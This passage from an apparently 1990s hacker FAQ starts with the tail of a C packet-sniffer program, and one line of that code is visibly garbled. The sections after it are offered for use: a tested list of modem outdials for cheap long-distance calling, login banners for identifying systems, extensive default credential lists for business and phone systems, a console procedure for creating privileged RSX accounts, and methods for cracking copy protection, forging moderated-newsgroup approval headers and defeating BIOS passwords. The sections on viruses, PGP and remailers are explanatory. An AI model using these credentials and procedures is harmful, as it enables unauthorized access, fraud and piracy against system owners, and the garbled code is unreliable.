fprintf(ERR,"Using logical device %s [%s]\n",device,NIT_DEV);
fprintf(ERR,"Output to %s.%s%s",(LOG)?LogName:"stdout",
(debug)?" (debug)":"",(backg)?" Backgrounding ":"\n");

if(!LOG)
LOG=stdout;

signal(SIGINT, death);
signal(SIGTERM,death);
signal(SIGKILL,death);
signal(SIGQUIT,death);

if(backg && debug) {
fprintf(ERR,"[Cannot bg with debug on]\n");
backg=0;
}

if(backg) {
register int s;

if((s=fork())>0) {
fprintf(ERR,"[pid %d]\n",s);
exit(0);
} else if(s<0) s="open(">0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);

do_it();
}

20. What is an Internet Outdial?

An Internet outdial is a modem connected to the Internet than you can
use to dial out. Normal outdials will only call local numbers. A GOD
(Global OutDial) is capable of calling long distance. Outdials are an
inexpensive method of calling long distance BBS's.

21. What are some Internet Outdials?

This FAQ answer is excerpted from CoTNo #5:

Internet Outdial List v3.0
by Cavalier and DisordeR

Introduction
------------
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author
just ripped other people and released it, we have sat down and tested
each one of these. Some of them we have gotten "Connection Refused" or
it timed out while trying to connect...these have been labeled dead.

Working Outdials
----------------
as of 12/29/94

NPA IP Address Instructions
--- ---------- ------------
215 isn.upenn.edu modem

217 dialout.cecer.army.mil atdt x,xxxXXXXX

218 modem.d.umn.edu atdt9,xxxXXXX

303 yuma.acns.colostate.edu 3020

412 myriad.pc.cc.cmu.edu 2600 Press D at the prompt

412 gate.cis.pitt.edu tn3270,
connect dialout.pitt.edu,
atdtxxxXXXX

413 dialout2400.smith.edu Ctrl } gets ENTER NUMBER: xxxxxxx

502 outdial.louisville.edu

502 uknet.uky.edu connect kecnet
@ dial: "outdial2400 or out"

602 acssdial.inre.asu.edu atdt8,,,,,[x][yyy]xxxyyyy

614 ns2400.acs.ohio-state.edu

614 ns9600.acs.ohio-state.edu

713 128.249.27.153 atdt x,xxxXXXX

714 modem.nts.uci.edu atdt[area]0[phone]

804 ublan.virginia.edu connect hayes, 9,,xxx-xxxx

804 ublan2.acc.virginia.edu connect telnet
connect hayes

Need Password
-------------

206 rexair.cac.washington.edu This is an unbroken password
303 yuma.ACNS.ColoState.EDU login: modem
404 128.140.1.239 .modem8|CR
415 annex132-1.EECS.Berkeley.EDU "dial1" or "dial2" or "dialer1"
514 cartier.CC.UMontreal.CA externe,9+number
703 wal-3000.cns.vt.edu dial2400 -aa

Dead/No Connect
---------------

201 idsnet
202 modem.aidt.edu
204 dial.cc.umanitoba.ca
204 umnet.cc.manitoba.ca "dial12" or "dial24"
206 dialout24.cac.washington.edu
207 modem-o.caps.maine.edu
212 B719-7e.NYU.EDU dial3/dial12/dial24
212 B719-7f.NYU.EDU dial3/dial12/dial24
212 DIALOUT-1.NYU.EDU dial3/dial12/dial24
212 FREE-138-229.NYU.EDU dial3/dial12/dial24
212 UP19-4b.NYU.EDU dial3/dial12/dial24
215 wiseowl.ocis.temple.edu "atz" "atdt 9xxxyyyy"
218 aa28.d.umn.edu "cli" "rlogin modem"
at "login:" type "modem"
218 modem.d.umn.edu Hayes 9,XXX-XXXX
301 dial9600.umd.edu
305 alcat.library.nova.edu
305 office.cis.ufl.edu
307 modem.uwyo.edu Hayes 0,XXX-XXXX
313 35.1.1.6 dial2400-aa or dial1200-aa
or dialout
402 dialin.creighton.edu
402 modem.criegthon.edu
404 broadband.cc.emory.edu ".modem8" or ".dialout"
408 dialout.scu.edu
408 dialout1200.scu.edu
408 dialout2400.scu.edu
408 dialout9600.scu.edu
413 dialout.smith.edu
414 modems.uwp.edu
416 annex132.berkely.edu atdt 9,,,,, xxx-xxxx
416 pacx.utcs.utoronto.ca modem
503 dialout.uvm.edu
513 dialout24.afit.af.mil
513 r596adi1.uc.edu
514 pacx.CC.UMontreal.CA externe#9 9xxx-xxxx
517 engdial.cl.msu.edu
602 dial9600.telcom.arizona.edu
603 dialout1200.unh.edu
604 dial24-nc00.net.ubc.ca
604 dial24-nc01.net.ubc.ca
604 dial96-np65.net.ubc.ca
604 gmodem.capcollege.bc.ca
604 hmodem.capcollege.bc.ca
609 128.119.131.11X (X= 1 - 4) Hayes
609 129.119.131.11x (x = 1 to 4)
609 wright-modem-1.rutgers.edu
609 wright-modem-2.rutgers.edu
612 modem_out12e7.atk.com
612 modem_out24n8.atk.com
614 ns2400.ircc.ohio-state.edu "dial"
615 dca.utk.edu dial2400 D 99k #
615 MATHSUN23.MATH.UTK.EDU dial 2400 d 99Kxxxxxxx
616 modem.calvin.edu
617 128.52.30.3 2400baud
617 dialout.lcs.mit.edu
617 dialout1.princeton.edu
617 isdn3.Princeton.EDU
617 jadwingymkip0.Princeton.EDU
617 lord-stanley.Princeton.EDU
617 mpanus.Princeton.EDU
617 mrmodem.wellesley.edu
617 old-dialout.Princeton.EDU
617 stagger.Princeton.EDU
617 sunshine-02.lcs.mit.edu
617 waddle.Princeton.EDU
619 128.54.30.1 atdt [area][phone]
619 dialin.ucsd.edu "dialout"
703 modem_pool.runet.edu
703 wal-3000.cns.vt.edu
713 128.249.27.154 "c modem96" "atdt 9xxx-xxxx"
or "Hayes"
713 modem12.bcm.tmc.edu
713 modem24.bcm.tmc.edu
713 modem24.bcm.tmc.edu
714 mdmsrv7.sdsu.edu atdt 8xxx-xxxx
714 modem24.nts.uci.edu
714 pub-gopher.cwis.uci.edu
801 dswitch.byu.edu "C Modem"
808 irmodem.ifa.hawaii.edu
902 star.ccs.tuns.ca "dialout"
916 129.137.33.72
916 cc-dnet.ucdavis.edu connect hayes/dialout
916 engr-dnet1.engr.ucdavis.edu UCDNET C KEYCLUB
??? 128.119.131.11X (1 - 4)
??? 128.200.142.5
??? 128.54.30.1 nue, X to discontinue, ? for Help
??? 128.6.1.41
??? 128.6.1.42
??? 129.137.33.72
??? 129.180.1.57
??? 140.112.3.2 ntu
??? annexdial.rz.uni-duesseldorf.de
??? dial96.ncl.ac.uk
??? dialout.plk.af.mil
??? ee21.ee.ncu.edu.tw cs8005
??? im.mgt.ncu.edu.tw guest
??? modem.cis.uflu.edu
??? modem.ireq.hydro.qc.ca
??? modems.csuohio.edu
??? sparc20.ncu.edu.tw u349633
??? sun2cc.nccu.edu.tw ?
??? ts-modem.une.oz.au
??? twncu865.ncu.edu.tw guest
??? vtnet1.cns.ut.edu "CALL" or "call"

Conclusion
----------
If you find any of the outdials to have gone dead, changed commands,
or require password, please let us know so we can keep this list as
accurate as possible. If you would like to add to the list, feel free
to mail us and it will be included in future versions of this list,
with your name beside it. Have fun...

[Editors note: Updates have been made to this document after
the original publication]

22. What is this system?

AIX
~~~
IBM AIX Version 3 for RISC System/6000
(C) Copyrights by IBM and by others 1982, 1990.
login:

[You will know an AIX system because it is the only Unix system that]
[clears the screen and issues a login prompt near the bottom of the]
[screen]

AS/400
~~~~~~
UserID?
Password?

Once in, type GO MAIN

CDC Cyber
~~~~~~~~~
WELCOME TO THE NOS SOFTWARE SYSTEM.
COPYRIGHT CONTROL DATA 1978, 1987.

88/02/16. 02.36.53. N265100
CSUS CYBER 170-730. NOS 2.5.2-678/3.
FAMILY:

You would normally just hit return at the family prompt. Next prompt is:

USER NAME:

CISCO Router
~~~~~~~~~~~~
FIRST BANK OF TNO
95-866 TNO VirtualBank
REMOTE Router - TN043R1

Console Port

SN - 00000866

TN043R1>

DECserver
~~~~~~~~~
DECserver 700-08 Communications Server V1.1 (BL44G-11A) - LAT V5.1
DPS502-DS700

(c) Copyright 1992, Digital Equipment Corporation - All Rights Reserved

Please type HELP if you need assistance

Enter username> TNO

Local>

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
MPE XL:
EXPECTED A :HELLO COMMAND. (CIERR 6057)
MPE XL:
EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424)
MPE XL:

GTN
~~~
WELCOME TO CITIBANK. PLEASE SIGN ON.
XXXXXXXX

@
PASSWORD =

@

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PLEASE ENTER YOUR ID:-1->
PLEASE ENTER YOUR PASSWORD:-2->

CITICORP (CITY NAME). KEY GHELP FOR HELP.
XXX.XXX
PLEASE SELECT SERVICE REQUIRED.-3->

Lantronix Terminal Server
~~~~~~~~~~~~~~~~~~~~~~~~~
Lantronix ETS16 Version V3.1/1(940623)

Type HELP at the 'Local_15> ' prompt for assistance.

Login password>

Meridian Mail (Northern Telecom Phone/Voice Mail System)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
MMM MMMERIDIAN
MMMMM MMMMM
MMMMMM MMMMMM
MMM MMMMM MMM MMMMM MMMMM
MMM MMM MMM MMMMMM MMMMMM
MMM MMM MMM MMM MMM MMM
MMM MMM MMM MMMMM MMM
MMM MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM
MMM MMM MMM MMM

Copyright (c) Northern Telecom, 1991

Novell ONLAN
~~~~~~~~~~~~
N

[To access the systems it is best to own a copy of ONLAN/PC]

PC-Anywhere
~~~~~~~~~~~
P

[To access the systems it is best to own a copy of PCAnywhere Remote]

PRIMOS
~~~~~~
PRIMENET 19.2.7F PPOA1

ER!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

CONNECT
Primenet V 2.3 (system)
LOGIN (you)
User id? (system)
SAPB5 (you)
Password? (system)
DROWSAP (you)
OK, (system)

ROLM CBX II
~~~~~~~~~~~
ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568
BIND DATE: 7/APR/93
COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED.
ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY.
YOU HAVE ENTERED CPU 1
12:38:47 ON WEDNESDAY 2/15/1995

USERNAME: op

PASSWORD:

INVALID USERNAME-PASSWORD PAIR

ROLM-OSL
~~~~~~~~
MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47
RELEASE 8003
OSL, PLEASE.
?

System75
~~~~~~~~
Login: root
INCORRECT LOGIN

Login: browse
Password:

Software Version: G3s.b16.2.2

Terminal Type (513, 4410, 4425): [513]

Tops-10
~~~~~~~
NIH Timesharing

NIH Tri-SMP 7.02-FF 16:30:04 TTY11
system 1378/1381/1453 Connected to Node Happy(40) Line # 12
Please LOGIN
.

VM/370
~~~~~~
VM/370
!

VM/ESA
~~~~~~
VM/ESA ONLINE

TBVM2 VM/ESA Rel 1.1 PUT 9200

Fill in your USERID and PASSWORD and press ENTER
(Your password will not appear when you type it)
USERID ===>
PASSWORD ===>

COMMAND ===>

Xylogics Annex Communications Server
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc.

Checking authorization, Please wait... -
Annex username: TNO - Optional security check
Annex password: - Not always present

Permission granted
annex:

23. What are the default accounts for XXX?

AIX
~~~
guest guest

AS/400
~~~~~~
qsecofr qsecofr /* master security officer */
qsysopr qsysopr /* system operator */
qpgmr qpgmr /* default programmer */

also

ibm password
ibm 2222
ibm service
qsecofr 1111111
qsecofr 2222222
qserv qserv
qsvr qsvr
secofr secofr
qsrv ibmce1

DECserver
~~~~~~~~~
ACCESS
SYSTEM

Dynix (The library software, not the UnixOS)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
(Type 'later' to exit to the login prompt)
setup
library
circ

Hewlett Packard MPE-XL
~~~~~~~~~~~~~~~~~~~~~~
HELLO MANAGER.SYS
HELLO MGR.SYS
HELLO FIELD.SUPPORT HPUNSUP or SUPPORT or HP
HELLO OP.OPERATOR
MGR CAROLIAN
MGR CCC
MGR CNAS
MGR CONV
MGR COGNOS
OPERATOR COGNOS
MANAGER COGNOS
OPERATOR DISC
MGR HPDESK
MGR HPWORD
FIELD HPWORD
MGR HPOFFICE
SPOOLMAN HPOFFICE
ADVMAIL HPOFFICE
MAIL HPOFFICE
WP HPOFFICE
MANAGER HPOFFICE
MGR HPONLY
FIELD HPP187
MGR HPP187
MGR HPP189
MGR HPP196
MGR INTX3
MGR ITF3000
MANAGER ITF3000
MAIL MAIL
MGR NETBASE
MGR REGO
MGR RJE
MGR ROBELLE
MANAGER SECURITY
MGR SECURITY
FIELD SERVICE
MANAGER SYS
MGR SYS
PCUSER SYS
RSBCMON SYS
OPERATOR SYS
OPERATOR SYSTEM
FIELD SUPPORT
OPERATOR SUPPORT
MANAGER TCH
MAIL TELESUP
MANAGER TELESUP
MGR TELESUP
SYS TELESUP
MGE VESOFT
MGE VESOFT
MGR WORD
MGR XLSERVER

Common jobs are Pub, Sys, Data
Common passwords are HPOnly, TeleSup, HP, MPE, Manager, MGR, Remote

Major BBS
~~~~~~~~~
Sysop Sysop

Mitel PBX
~~~~~~~~~
SYSTEM

NeXTSTEP
~~~~~~~~
root NeXT
signa signa
me (Rumored to be correct, not checked)

Nomadic Computing Environment (NCE) on the Tadpole Technologies SPARCBook3
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
fax

PICK O/S
~~~~~~~~
DSA # Desquetop System Administrator
DS
DESQUETOP
PHANTOM

Prolog
~~~~~~
PBX PBX
NETWORK NETWORK
NETOP

Radio Shack Screen Savers
~~~~~~~~~~~~~~~~~~~~~~~~~
RS

Rolm
~~~~
CBX Defaults

op op
op operator
su super
admin pwp
eng engineer

PhoneMail Defaults

sysadmin sysadmin
tech tech
poll tech

RSX
~~~
SYSTEM/SYSTEM (Username SYSTEM, Password SYSTEM)
1,1/system (Directory [1,1] Password SYSTEM)
BATCH/BATCH
SYSTEM/MANAGER
USER/USER

Default accounts for Micro/RSX:

MICRO/RSX

Alternately you can hit when the boot sequence asks you for the
date and create an account using:

RUN ACNT
or RUN $ACNT

(Numbers below 10 {oct} are privileged)

Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!

If this works, type "acs lb0:/blks=1000" to get some swap space so the
new step won't wedge.

type " run $acnt" and change the password of any account with a group
number of 7 or less.

You may find that the ^C does not work. Try ^Z and ESC as well.
Also try all 3 as terminators to valid and invalid times.

If none of the above work, use the halt switch to halt the system,
just after a invalid date-time. Look for a user mode PSW 1[4-7]xxxx.
then deposit 177777 into R6, cross your fingers, write protect the drive
and continue the system. This will hopefully result in indirect blowing
up... And hopefully the system has not been fully secured.

SGI Irix
~~~~~~~~
4DGifts
guest
demos
lp
nuucp
tour
tutor

System 75
~~~~~~~~~
bcim bcimpw
bciim bciimpw
bcms bcmspw, bcms
bcnas bcnspw
blue bluepw
browse looker, browsepw
craft crftpw, craftpw, crack
cust custpw
enquiry enquirypw
field support
inads indspw, inadspw, inads
init initpw
kraft kraftpw
locate locatepw
maint maintpw, rwmaint
nms nmspw
rcust rcustpw
support supportpw
tech field

Taco Bell
~~~~~~~~~
rgm rollout
tacobell

Verifone Junior 2.05
~~~~~~~~~~~~~~~~~~~~
Default password: 166816

VMS
~~~
field service
systest utep

XON / XON Junior
~~~~~~~~~~~~~~~~
Default password: 166831

24. What port is XXX on?

The file /etc/services on most Unix machines lists the port
assignments for that machine. For a complete list of port
assignments, read RFC (Request For Comments) 1700 "Assigned Numbers"

25. What is a trojan/worm/virus/logic bomb?

This FAQ answer was written by Theora:

Trojan:

Remember the Trojan Horse? Bad guys hid inside it until they could
get into the city to do their evil deed. A trojan computer program is
similar. It is a program which does an unauthorized function, hidden
inside an authorized program. It does something other than what it
claims to do, usually something malicious (although not necessarily!),
and it is intended by the author to do whatever it does. If it's not
intentional, its called a 'bug' or, in some cases, a feature :) Some
virus scanning programs detect some trojans. Some virus scanning
programs don't detect any trojans. No virus scanners detect all
trojans.

Virus:

A virus is an independent program which reproduces itself. It may
attach to other programs, it may create copies of itself (as in
companion viruses). It may damage or corrupt data, change data, or
degrade the performance of your system by utilizing resources such as
memory or disk space. Some virus scanners detect some viruses. No
virus scanners detect all viruses. No virus scanner can protect
against "any and all viruses, known and unknown, now and forevermore".

Worm:

Made famous by Robert Morris, Jr. , worms are programs which reproduce
by copying themselves over and over, system to system, using up
resources and sometimes slowing down the systems. They are self
contained and use the networks to spread, in much the same way viruses
use files to spread. Some people say the solution to viruses and
worms is to just not have any files or networks. They are probably
correct. We would include computers.

Logic Bomb:

Code which will trigger a particular form of 'attack' when a
designated condition is met. For instance, a logic bomb could delete
all files on Dec. 5th. Unlike a virus, a logic bomb does not make
copies of itself.

26. How can I protect myself from viruses and such?

This FAQ answer was written by Theora:

The most common viruses are boot sector infectors. You can help protect
yourself against those by write protecting all disks which you do not
need write access to. Definitely keep a set of write protected floppy
system disks. If you get a virus, it will make things much simpler.
And, they are good for coasters. Only kidding.

Scan all incoming files with a recent copy of a good virus scanner.
Among the best are F-Prot, Dr. Solomon's Anti-virus Toolkit, and
Thunderbyte Anti-Virus. AVP is also a good program. Using more than
one scanner could be helpful. You may get those one or two viruses that
the other guy happened to miss this month.

New viruses come out at the rate of about 8 per day now. NO scanner can
keep up with them all, but the four mentioned here do the best job of
keeping current. Any _good_ scanner will detect the majority of common
viruses. No virus scanner will detect all viruses.

Right now there are about 5600 known viruses. New ones are written all
the time. If you use a scanner for virus detection, you need to make
sure you get frequent updates. If you rely on behavior blockers, you
should know that such programs can be bypassed easily by a technique
known as tunnelling.

You may want to use integrity checkers as well as scanners. Keep in
mind that while these can supply added protection, they are not
foolproof.

You may want to use a particular kind of scanner, called resident
scanners. Those are programs which stay resident in the computer memory
and constantly monitor program execution (and sometimes even access to
the files containing programs). If you try to execute a program, the
resident scanner receives control and scans it first for known viruses.
Only if no such viruses are found, the program is allowed to execute.

Most virus scanners will not protect you against many kinds of trojans,
any sort of logic bombs, or worms. Theoretically, they _could_ protect
you against logic bombs and/or worms, by addition of scanning strings;
however, this is rarely done.

The best, actually only way, to protect yourself is to know what you
have on your system and make sure what you have there is authorized by
you. Make frequent backups of all important files. Keep your DOS
system files write protected. Write protect all disks that you do not
need to write to. If you do get a virus, don't panic. Call the support
department of the company who supplies your anti-virus product if you
aren't sure of what you are doing. If the company you got your
anti-virus software from does not have a good technical support
department, change companies.

The best way to make sure viruses are not spread is not to spread them.
Some people do this intentionally. We discourage this. Viruses aren't
cool.

27. Where can I get more information about viruses?

This FAQ answer was written by Theora:

Assembly language programming books illustrate the (boring) aspect of
replication and have for a long time. The most exciting/interesting
thing about viruses is all the controversy around them. Free speech,
legality, and cute payloads are a lot more interesting than "find first,
find next" calls. You can get information about the technical aspects
of viruses, as well as help if you should happen to get a virus, from
the virus-l FAQ, posted on comp. virus every so often. You can also pick
up on the various debates there. There are alt.virus type newsgroups,
but the level of technical expertise is minimal, and so far at least
there has not been a lot of real "help" for people who want to get -rid-
of a virus.

There are a lot of virus experts. To become one, just call yourself
one. Only Kidding. Understanding viruses involves understanding
programming, operating systems, and their interaction. Understanding
all of the 'Cult of Virus' business requires a lot of discernment. There
are a number of good papers available on viruses, and the Cult of Virus;
you can get information on them from just about anyone listed in the
virus-l FAQ. The FTP site ftp.informatik.uni-hamburg.de is a pretty
reliable site for programs and text.

28. What is Cryptoxxxxxxx?

This FAQ answer is excerpted from: Computer Security Basics
by Deborah Russell
and G.T. Gengemi Sr.

A message is called either plaintext or cleartext. The process of
disguising a message in such a way as to hide its substance is called
encryption. An encrypted message is called ciphertext. The process
of turning ciphertext back into plaintext is called decryption.

The art and science of keeping messages secure is called cryptography,
and it is practiced by cryptographers. Cryptanalysts are
practitioners of cryptanalysis, the art and science of breaking
ciphertext, i.e. seeing through the disguise. The branch of
mathematics embodying both cryptography and cryptanalysis is called
cryptology, and it's practitioners are called cryptologists.

29. What is PGP?

This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann

PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure
channels needed for prior exchange of keys. PGP is well featured and
fast, with sophisticated key management, digital signatures, data
compression, and good ergonomic design.

Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a
high security cryptographic software application for MS-DOS, Unix,
VAX/VMS, and other computers. PGP allows people to exchange files or
messages with privacy, authentication, and convenience. Privacy means
that only those intended to receive a message can read it.
Authentication means that messages that appear to be from a particular
person can only have originated from that person. Convenience means
that privacy and authentication are provided without the hassles of
managing keys associated with conventional cryptographic software. No
secure channels are needed to exchange keys between users, which makes
PGP much easier to use. This is because PGP is based on a powerful
new technology called "public key" cryptography.

PGP combines the convenience of the Rivest-Shamir-Adleman (RSA)
public key cryptosystem with the speed of conventional cryptography,
message digests for digital signatures, data compression before
encryption, good ergonomic design, and sophisticated key management.
And PGP performs the public-key functions faster than most other
software implementations. PGP is public key cryptography for the
masses.

30. What is Tempest?

Tempest stands for Transient Electromagnetic Pulse Surveillance
Technology.

Computers and other electronic equipment release interference to their
surrounding environment. You may observe this by placing two video
monitors close together. The pictures will behave erratically until you
space them apart.

What is important for an observer is the emission of digital pulses (1s
and 0s) as these are used in computers. The channel for this radiation
is in two arrangements, radiated emissions and conducted emissions.
Radiated emissions are assembled when components in electrical devices
form to act as antennas. Conducted emissions are formed when radiation
is conducted along cables and wires.

Although most of the time these emissions are simply annoyances, they
can sometimes be very helpful. Suppose we wanted to see what project a
target was working on. We could sit in a van outside her office and use
sensitive electronic equipment to attempt to pick up and decipher the
radiated emissions from her video monitor. These emissions normally
exist at around 55-245 Mhz and can be picked up as far as one kilometer
away.

A monitoring device can distinguish between different sources emitting
radiation because the sources emanating the radiation are made up of
dissimilar elements and so this coupled with other factors varies the
emitted frequency. For example different electronic components in VDUs,
different manufacturing processes involved in reproducing the VDUs,
different line syncs, etc... By synchronizing our raster with the
targets raster we can passively draw the observed screen in real-time.
This technology can be acquired by anyone, not just government agencies.

The target could shield the emissions from her equipment or use
equipment that does not generate strong emissions. However, Tempest
equipment is not legal for civilian use in the United States.

Tempest is the US Government program for evaluation and endorsement of
electronic equipment that is safe from eavesdropping. Tempest
certification refers to the equipment having passed a testing phase and
agreeing to emanations rules specified in the government document NACSIM
5100A (Classified). This document sets forth the emanation levels that
the US Government believes equipment can give off without compromising
the information it is processing.

31. What is an anonymous remailer?

This FAQ answer was written by Raph Levien:

An anonymous remailer is a system on the Internet that allows you to
send e-mail or post messages to Usenet anonymously.

There are two sorts of remailers in widespread use. The first is the
anon.penet.fi style, the second is the cypherpunk style. The remailer
at anon.penet.fi is immensely popular, with over 160,000 users over its
lifetime, and probably tens of thousands of messages per day. Its main
advantage is that it's so easy to use. The cypherpunks mailers, which
provide much better security, are becoming more popular, however, as
there is more awareness of them.

The user of the anon.penet.fi system first needs to get an anonymous id.
This is done either by sending mail to somebody who already has one (for
example, by replying to a post on Usenet), or sending mail to
ping@anon.penet.fi. In either case, penet will mail back the new anon
id, which looks like an123456@anon.penet.fi. If an123456 then sends
mail to another user of the system, then this is what happens:

1. The mail is transported to anon.penet.fi, which resides somewhere in
the vicinity of Espoo, Finland.

2. These steps are carried out by software running on anon.penet.fi.
Penet first looks up the email address of the sender in its
database, then replaces it with the numeric code. All other
information about the sender is removed.

3. Then, penet looks up the number of the recipient in the same
database, and replaces it with the actual email address.

4. Finally, it sends the mail to the actual email address of the
recipient.

There are variations on this scheme, such as posting to Usenet (in which
step 3 is eliminated), but that's the basic idea.

Where anon.penet.fi uses a secret database to match anon id's to actual
email addresses, the cypherpunks remailers use cryptography to hide the
actual identities. Let's say I want to send email to a real email
address, or post it to Usenet, but keep my identity completely hidden.
To send it through one remailer, this is what happens.

1. I encrypt the message and the recipient's address, using the public
key of the remailer of my choice.

2. I send the email to the remailer.

3. When the remailer gets the mail, it decrypts it using its private
key, revealing as plaintext the message and the recipient's address.

4. All information about the sender is removed.

5. Finally, it sends it to the recipient's email address.

If one trusts the remailer operator, this is good enough. However, the
whole point of the cypherpunks remailers is that you don't _have_ to
trust any one individual or system. So, people who want real security
use a chain of remailers. If any one remailer on the "chain" is honest,
then the privacy of the message is assured.

To use a chain of remailers, I first have to prepare the message, which
is nestled within multiple layers of encryption, like a Russian
matryoshka doll. Preparing such a message is tedious and error prone,
so many people use an automated tool such as my premail package.
Anyway, after preparing the message, it is sent to the first remailer in
the chain, which corresponds to the outermost layer of encryption. Each
remailer strips off one layer of encryption and sends the message to the
next, until it reaches the final remailer. At this point, only the
innermost layer of encryption remains. This layer is stripped off,
revealing the plaintext message and recipient for the first time. At
this point, the message is sent to its actual recipient.

Remailers exist in many locations. A typical message might go through
Canada, Holland, Berkeley, and Finland before ending up at its final
location.

Aside from the difficulty of preparing all the encrypted messages,
another drawback of the cypherpunk remailers is that they don't easily
allow responses to anonymous mail. All information about the sender is
stripped away, including any kind of return address. However the new
alias servers promise to change that. To use an alias server, one
creates a new email address (mine is raph@alpha.c2.org). Mail sent to
this new address will be untraceably forwarded to one's real address.

To set this up, one first encrypts one's own email address with multiple
layers of encryption. Then, using an encrypted channel, one sends the
encrypted address to the alias server, along with the nickname that one
would like. The alias server registers the encrypted address in the
database. The alias server then handles reply mail in much the same way
as anon.penet.fi, except that the mail is forwarded to the chain of
anonymous remailers.

For maximum security, the user can arrange it so that, at each link in
the chain, the remailer adds another layer of encryption to the message
while removing one layer from the email address. When the user finally
gets the email, it is encrypted in multiple layers. The matryoshka has
to be opened one doll at a time until the plaintext message hidden
inside is revealed.

One other point is that the remailers must be reliable in order for all
this to work. This is especially true when a chain of remailers is used
-- if any one of the remailers is not working, then the message will be
dropped. This is why I maintain a list of reliable remailers. By
choosing reliable remailers to start with, there is a good chance the
message will finally get there.

32. What are the addresses of some anonymous remailers?

The most popular and stable anonymous remailer is anon.penet.fi,
operated by Johan Helsingus. To obtain an anonymous ID, mail
ping@anon.penet.fi.

The server at anon.penet.fi does it's best to remove any headers or
other information describing its true origin. You should make an effort
and try to omit information detailing your identity within such messages
as quite often signatures not starting with "--" are including within
your e-mail, this of course is not what you want. You can send messages
to:

anXXX@anon.penet.fi

Here you are addressing another anonymous user and your E-Mail message
will appear to have originated from anon.penet.fi.

alt.security@anon.penet.fi

Here you are posting an anonymous message to a whole Usenet group and in
this case to alt.security which will be posted at the local site (in
this case Finland).

ping@anon.penet.fi

If you send a message to this address you will be allocated an identity
(assuming you don't already have one). You can also confirm your
identity here as well.

You can also set yourself a password, this password helps to
authenticate any messages that you may send. This password is included
in your outgoing messages, to set a password send E-Mail to
password@anon.penet.fi with your password in the body of your text e.g.:

To: password@anon.penet.fi
Subject:
TN0_rUlEz

For more information on this anonymous server send mail to:

help@anon.penet.fi

Anonymous Usenet posting is frowned upon by other users of Usenet groups
claiming their opinions are worthless. This is because they believe
anonymity is used to shield ones self from attacks from opponents, while
on the other hand it can be used to protect ones self from social
prejudice (or people reporting ones opinions to ones superiors). Also
if you are thinking this is a useful tool to use to hid against the
authorities then think again, as there was a famous case where a Judge
ordered the administrator of the server to reveal the identity of a
poster.

To see a comprehensive list on anonymous remailers finger
remailer-list@kiwi.cs.berkeley.edu or point your web browser to
http://www.cs.berkeley.edu/~raph/remailer-list.html.

33. How do I defeat Copy Protection?

There are two common methods of defeating copy protection. The first
is to use a program that removes copy protection. Popular programs
that do this are CopyIIPC from Central Point Software and CopyWrite
from Quaid Software. The second method involves patching the copy
protected program. For popular software, you may be able to locate a
ready made patch. You can them apply the patch using any hex editor,
such as debug or the Peter Norton's DiskEdit. If you cannot, you must
patch the software yourself.

Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It
also requires some knowledge of assembly language. Load the protected
program under the debugger and watch for it to check the protection
mechanism. When it does, change that portion of the code. The code
can be changed from JE (Jump on Equal) or JNE (Jump On Not Equal) to
JMP (Jump Unconditionally). Or the code may simply be replaced with
NOP (No Operation) instructions.

34. What is 127.0.0.1?

127.0.0.1 is a loopback network connection. If you telnet, ftp, etc...
to it you are connected to your own machine.

35. How do I post to a moderated newsgroup?

Usenet messages consist of message headers and message bodies. The
message header tells the news software how to process the message.
Headers can be divided into two types, required and optional. Required
headers are ones like "From" and "Newsgroups." Without the required
headers, your message will not be posted properly.

One of the optional headers is the "Approved" header. To post to a
moderated newsgroup, simply add an Approved header line to your
message header. The header line should contain the newsgroup
moderators e-mail address. To see the correct format for your target
newsgroup, save a message from the newsgroup and then look at it using
any text editor.

A "Approved" header line should look like this:

Approved: will@gnu.ai.mit.edu

There cannot not be a blank line in the message header. A blank line
will cause any portion of the header after the blank line to be
interpreted as part of the message body.

For more information, read RFC 1036: Standard for Interchange of
USENET messages.

36. How do I post to Usenet via e-mail?

Through an e-mail->Usenet gateway. Send an a e-mail messages to
@. For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.

Here are a few e-mail->Usenet gateways:

group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi
group.name.usenet@decwrl.dec.com

37. How do I defeat a BIOS password?

This depends on what BIOS the machine has. Common BIOS's include AMI,
Award, IBM and Phoenix. Numerous other BIOS's do exist, but these are
the most common.

Some BIOS's allow you to require a password be entered before the system
will boot. Some BIOS's allow you to require a password to be entered
before the BIOS setup may be accessed.

Every BIOS must store this password information somewhere. If you are
able to access the machine after it has been booted successfully, you
may be able to view the password. You must know the memory address
where the password is stored, and the format in which the password is
stored. Or, you must have a program that knows these things.

The most common BIOS password attack programs are for Ami BIOS. Some
password attack programs will return the AMI BIOS password in plain
text, some will return it in ASCII codes, some will return it in scan
